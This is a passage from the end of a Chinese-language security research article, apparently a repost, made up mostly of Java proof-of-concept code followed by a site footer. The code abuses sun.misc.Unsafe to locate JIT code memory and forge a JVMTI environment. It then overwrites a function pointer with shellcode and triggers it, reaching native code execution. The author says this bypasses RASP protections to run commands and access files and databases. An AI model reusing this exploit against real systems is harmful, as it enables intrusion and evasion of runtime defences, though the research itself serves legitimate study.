            System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));
    
            Map map=new HashMap();
            map.put("X","y");
            //unsafe.putObject(map,allocateMemory+0x10,ints);
            //unsafe.putByte(allocateMemory,);
            PocForRCE poc=new PocForRCE();
            for (int i=0;i<10000;i++)
            {
                poc.b(33);
            }
            Thread.sleep(2000);
            for (int k=0;k<10000;k++)
            {
                long tmp=unsafe.allocateMemory(0x4000);
                //unsafe.putLong(tmp+0x3900,tmp);
                //System.out.println("alloce:"+Long.toHexString(tmp));
            }
    
            long shellcodeBed = 0;
            int offset=4;
            for (int j=-0x1000;j<0x1000;j++)  //down search
            {
    
                long target=unsafe.getAddress(allocateMemory+j*offset);
                System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j);
                if (target%8>0)
                {
                    continue;
                }
                if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffl))
                {
    
                    if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l))
                    {
                        continue;
                    }
                    if (Long.toHexString(target).indexOf("000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb"))
                    {
                        System.out.println("maybe error address,skip "+Long.toHexString(target));
                        continue;
                    }
                    System.out.println("BYTE:"+unsafe.getByte(target));
                    //System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j));
                    if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48||unsafe.getByte(target)==(byte)0x66)
                    {
                        System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target)));
                        shellcodeBed=target;
                        break;
                    }
    
    
                }
    
            }
    
            if (shellcodeBed==0)
            {
                for (int j=-0x100;j<0x800;j++)  //down search
                {
    
                    long target=unsafe.getAddress(allocateMemory+j*offset);
                    System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j);
                    if (target%8>0)
                    {
                        continue;
                    }
                    if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffffl))
                    {
    
                        if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l))
                        {
                            continue;
                        }
                        if (Long.toHexString(target).indexOf("0000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb"))
                        {
                            System.out.println("maybe error address,skip "+Long.toHexString(target));
                            continue;
                        }
                        System.out.println("BYTE:"+unsafe.getByte(target));
                        //System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j));
                        if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48)
                        {
                            System.out.println("get bigger cache address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target)));
                            shellcodeBed=target;
                            break;
                        }
    
                    }
    
                }
            }
            System.out.println("find address end,address is "+Long.toHexString(shellcodeBed)+" mod 8 is:"+shellcodeBed%8);
    
    
            String address="";
    
            allocateMemory=shellcodeBed;
            address=allocateMemory+"";
            Class cls=Class.forName("sun.instrument.InstrumentationImpl");
    
            Constructor constructor=cls.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            Object obj=constructor.newInstance(Long.parseLong(address),true,true);
            Method redefineMethod=cls.getMethod("redefineClasses",new Class[]{ClassDefinition[].class});
            ClassDefinition classDefinition=new ClassDefinition(
                    Class.class,
                    new byte[]{});
            ClassDefinition[] classDefinitions=new ClassDefinition[]{classDefinition};
            try
            {
                unsafe.putLong(allocateMemory+8,allocateMemory+0x10);  //set **jvmtienv point to it's next memory region
                unsafe.putLong(allocateMemory+8+8,allocateMemory+0x10); //set *jvmtienv point to itself
                unsafe.putLong(allocateMemory+0x10+0x168,allocateMemory+0x10+0x168+8); //overwrite allocate function pointer  to allocateMemory+0x10+0x168+8
                for (int k=0;k<buf.length;k++)
                {
                    unsafe.putByte(allocateMemory+0x10+0x168+8+k,buf[k]); //write shellcode to allocate function body
                }
                redefineMethod.invoke(obj,new Object[]{classDefinitions});  //trigger allocate
            }
            catch (Exception e)
            {
                e.printStackTrace();
            }
    
        }
        private int a(int x)
        {
            if (x>1)
            {
                // System.out.println("x>1");
            }
            else
            {
                // System.out.println("x<=1");
            }
            return x*1;
        }
        private void b(int x)
        {
            if (a(x)>1)
            {
                //System.out.println("x>1");
                this.a(x);
            }
            else
            {
                this.a(x+4);
                // System.out.println("x<=1");
            }
        }
    }
    

    編譯,運行,成功執行了shellcode,彈出計算器。

    到此,我們通過純Java代碼實現了跨平臺的任意Native代碼執行,從而可以解鎖很多新玩法,比如繞過RASP實現命令執行、文件讀寫、數據庫連接等等。

    小結

    本文主要介紹了幾種我最近研究的內存相關的攻擊方法,歡迎大家交流探討,文中使用的測試環境為Win10_x64、Ubuntu16.04_x64、Java 1.8.0_301_x64、Java 1.8.0_271_x64。由于文章拖得比較久了,所以行文略有倉促,若有紕漏之處,歡迎批評指正。



    原文鏈接:https://www.cnblogs.com/rebeyond/p/15162264.html

網站首頁   |    關于我們   |    公司新聞   |    產品方案   |    用戶案例   |    售后服務   |    合作伙伴   |    人才招聘   |   

友情鏈接: 餐飲加盟

地址:北京市海淀區    電話:010-     郵箱:@126.com

備案號:冀ICP備2024067069號-3 北京科技有限公司版權所有